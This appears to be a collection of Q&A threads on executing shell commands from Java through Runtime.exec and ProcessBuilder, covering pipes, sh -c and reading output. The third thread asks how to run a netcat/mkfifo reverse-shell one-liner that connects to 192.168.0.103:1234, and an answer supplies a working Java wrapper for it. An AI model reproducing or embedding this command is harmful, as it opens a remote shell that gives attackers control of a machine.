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How to write and run terminal command to be execute in java program

String str;
Process p;
try {
String command = "wmctrl -l|awk '{$1=\"\"; $2=\"\"; $3=\"\"; print}'";
p = Runtime.getRuntime().exec(command);
BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream()));
while ((str = br.readLine()) != null) {
activeWindowtitles.add(str);
System.out.println(str);
}
p.waitFor();
p.destroy();
} catch (Exception ex) {
}
I am writing a java code to get all applications name in Linux system. I found a command to achieve this. I ran this command in Terminal and it works fine. But it is not working in Java code as i want only applications name instead of other details. The command is "wmctrl -l | awk '{$1=""; $2=""; $3=""; print}'"
I am getting full output after executing this in java code.
Please tell me how to write this command properly..
Thanks

Personally I would put the wmctrl command in a script and do something like this:
public static List<String> getRunningApps(String executablePath) throws IOException, InterruptedException {
final String ERR_LOG_PATH = "stderr.log";
List<String> result = new ArrayList<>();
ProcessBuilder pb = new ProcessBuilder(executablePath);
pb.redirectError(new File(ERR_LOG_PATH));
Process p = pb.start();
int exitCode = p.waitFor();
if (exitCode != 0) {
throw new RuntimeException(String.format("Error get apps. Check error log %s%n", ERR_LOG_PATH));
}
try (Scanner s = new Scanner(p.getInputStream())) {
while (s.hasNextLine()) {
result.add(s.nextLine().trim());
}
}
return result;
}
That way you can tweak it more easily and keep your code cleaner. The script I used was:
#!/bin/bash
wmctrl -l | awk '{$1=""; $2=""; $3=""; print}'

Check if a linux command outputs an empty string

I want to check if a port is being used or not. I've used the command: netstat -an | grep <port_no> | grep -i listen. When I compare its output by running, if(message_port_check.equals(null)), it always returns null. How do I know if the port is open or not ?
This is what I've tried,
String port_no = textField_3.getText().toString();
String[] command_port = {
"/bin/sh",
"-c",
"netstat -an | grep " + port_no + " | grep -i listen"
};
try {
ProcessBuilder builder = new ProcessBuilder(command_port);
builder.redirectErrorStream(true);
Process p = builder.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuffer buffer = new StringBuffer();
String line = "";
while (true)
{
buffer.append(line).append("\n");
line = r.readLine();
if (line == null) { break; }
}
message_port= buffer.toString();
p.waitFor();
r.close();
}
catch (IOException e1)
{
e1.printStackTrace();
}
catch (InterruptedException e1)
{
e1.printStackTrace();
}
if(message_port_check.equals(null))
rdbtn_port_free.setSelected(true);
else
rdbtn_port_notfree.setSelected(true);

I'd use -z test:
$ output=$(netstat -an | grep your_port | grep -i listen)
$ if [ -z "$output" ] ; then echo empty ; fi
empty

You could use nc instead as shown in this reply. Then you just need to check the return value.
Of course in Java, the solution in the platform-independent spirit would be to try to connect/bind to the port using the standard library instead of relying on external Linux binaries. Some variants are shown here.

java Runtime.getRuntime().exec() unable to run commands

I need to run the following command from inside the Runtime.getRuntime().exec():
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
In what format should I pass it to my running java program that has the line :
Process localProcess = Runtime.getRuntime().exec(myStr);
where myStr is the entire command above that I want to execute ?
Things I have already tried :
[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"
gives me the error :
Cannot run program "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory
If I simply run the command from my terminal as :
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
It runs like a charm, but not through the runtime.exec().

Try to use ProcessBuilder instead of Runtime.
Try this one:
Process p = new ProcessBuilder().command("bash","-c",cmd).start();
cmd is the variable which holds your shell command.
Update:
String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);

Here is working Java code that illustrates few more aspects of calling Runtime.getRuntime().exec() like waiting for the process to complete and capturing the output and error streams:
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;
class Test {
public static void dump(InputStream is) {
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
try {
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
} catch (Exception e) {
System.out.println("read line threw exception");
}
}
public static void run(String cmd) {
try {
Process p = Runtime.getRuntime().exec(cmd);
p.waitFor();
int status = p.exitValue();
System.out.println("Program terminated with exit status " + status);
if (status != 0) {
dump(p.getErrorStream());
}
else {
dump(p.getInputStream());
}
} catch (Exception e) {
System.out.println("Caught exception");
}
}
};

Run Shell Commands using Java provides problems

public class RunBashCommand {
public synchronized boolean RunInBash(String command) {
System.out.println("CMD: "+command);
/*String s; not working this code also
Process p;
try {
Process p = Runtime.getRuntime().exec(command);
BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream()));
while ((s = br.readLine()) != null)
System.out.println("line: " + s);
p.waitFor();
System.out.println ("exit: " + p.exitValue());
PrintBufferReader(getError(p));
p.destroy();
} catch (Exception e) {
e.printStackTrace();
}*/
try {
Process p = new ProcessBuilder("/bin/sh", command).start();
/*Process p = new ProcessBuilder("/bin/bash", command).start();*/
PrintBufferReader(getError(p));
/*p.destroy();*/
} catch (IOException e) {
e.printStackTrace();
}
return true;
}
private static BufferedReader getOutput(Process p) {
return new BufferedReader(new InputStreamReader(p.getInputStream()));
}
private static BufferedReader getError(Process p) {
return new BufferedReader(new InputStreamReader(p.getErrorStream()));
}
private void PrintBufferReader(BufferedReader br) throws IOException {
int value = 0;
String s = "";
while((value = br.read()) != -1)
{
char c = (char)value;
s = s+c;
}
System.out.println("EEEE: "+s);
}
}
I tried this code, but it did not work.
following output came:
CMD: cd /home/jeevan/workspace/apb_proj/; source init.csh
EEEE: /bin/sh: cd /home/jeevan/workspace/apb_proj/; source init.csh: No such file or directory
CMD: cd /home/jeevan/workspace/apb_proj/verif/compile/; make clean; make compile; make elab
EEEE: /bin/sh: cd /home/jeevan/workspace/apb_proj/verif/compile/; make clean; make compile; make elab: No such file or directory
CMD: sh /home/jeevan/workspace/apb_proj/verif/test_lib/src/apb_test31/runme.csh
EEEE: /bin/sh: sh /home/jeevan/workspace/apb_proj/verif/test_lib/src/apb_test31/runme.csh: No such file or directory
can some one help?

You're effectively running:
/bin/sh "cd /home/jeevan/workspace/apb_proj/; source init.csh"
When you run /bin/sh this way, it treats its first argument as the name of a file to execute as a shell script. Of course, there's no file named "cd /home/jeevan/workspace/apb_proj/; source init.csh", so you get an error message.
The correct way to invoke sh with a command as an argument is like this:
/bin/sh -c "cd /home/jeevan/workspace/apb_proj/; source init.csh"
Using process builder, you'd do:
Process p = new ProcessBuilder("/bin/sh", "-c", command).start();
The next problem that you're likely to run into is that it appears that the command you're trying to invoke is a csh command, not an sh command. "source" is a csh command, and the file you're trying to source is called "init.csh". So maybe you want to invoke csh instead of sh:
Process p = new ProcessBuilder("/bin/csh", "-c", command).start();

You need to split command arguments into separate parameters: not ProcessBuilder("bin/sh", "cd foo/bar") but ProcessBuilder("bin/sh", "cd", "foo/bar").
You can't use shell metacharacters (like ";") too. To run multiple commands, you have to start multiple processes.

Put all your commands into a List and pass it as the argument to the ProcessBuilder. As an alternative you can start the shell process, get it's OutputStream and write commands into this stream to execute them.

Can't get output from Runtime.exec()

I have written a code to execute a command on shell through Java:
String filename="/home/abhijeet/sample.txt";
Process contigcount_p;
String command_to_count="grep \">\" "+filename+" | wc -l";
System.out.println("command for counting contigs "+command_to_count);
contigcount_p=Runtime.getRuntime().exec(command_to_count);
contigcount_p.wait();
As pipe symbols were being used so I was not able to execute command successfully.As per my last question's discussion i have wrapped my variables in shell:
Runtime.getRuntime().exec(new String[]{"sh", "-c", "grep \">\" "+filename+" | wc -l"});
Which worked for me as it does executes command on shell , but still when i try to read its output using buffered reader :
BufferedReader reader =
new BufferedReader(new InputStreamReader(contigcount_p.getInputStream()));
String line=" ";
while((line=reader.readLine())!=null)
{
output.append(line+"\n");
}
It returns a null value ,I have found a temporary solution for it as i have discussed on previous question: link, but i would like to use right way of doing it by reading it's output using BufferedReader.

When I used your command line of {"sh", "-c", "grep \">\" "+filename+" | wc -l"} it kept overriding my file
I had to change it so that the quotes were double quoted, {"sh", "-c", "grep \"\">\"\" "+filename+" | wc -l"}
So, using this as the contents of my test file...
>
>
>
Not a new line >
And using this code...
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class TestProcess {
public static void main(String[] args) {
String filename = "test.tx";
String test = "grep \"\">\"\" "+filename+" | wc -l";
System.out.println(test);
try {
ProcessBuilder pb = new ProcessBuilder("sh", "-c", test);
pb.redirectError();
Process p = pb.start();
new Thread(new Consumer(p.getInputStream())).start();
int ec = p.waitFor();
System.out.println("ec: " + ec);
} catch (IOException | InterruptedException exp) {
exp.printStackTrace();
}
}
public static class Consumer implements Runnable {
private InputStream is;
public Consumer(InputStream is) {
this.is = is;
}
#Override
public void run() {
try (BufferedReader reader = new BufferedReader(new InputStreamReader(is))){
String value = null;
while ((value = reader.readLine()) != null) {
System.out.println(value);
}
} catch (IOException exp) {
exp.printStackTrace();
}
}
}
}
I was able to produce this output...
grep "">"" test.tx | wc -l
4
ec: 0
Generally, when dealing with external processes, it's usually easier to use a ProcessBuilder, it has some nice options, including redirecting the error/stdout and setting the execution context directory...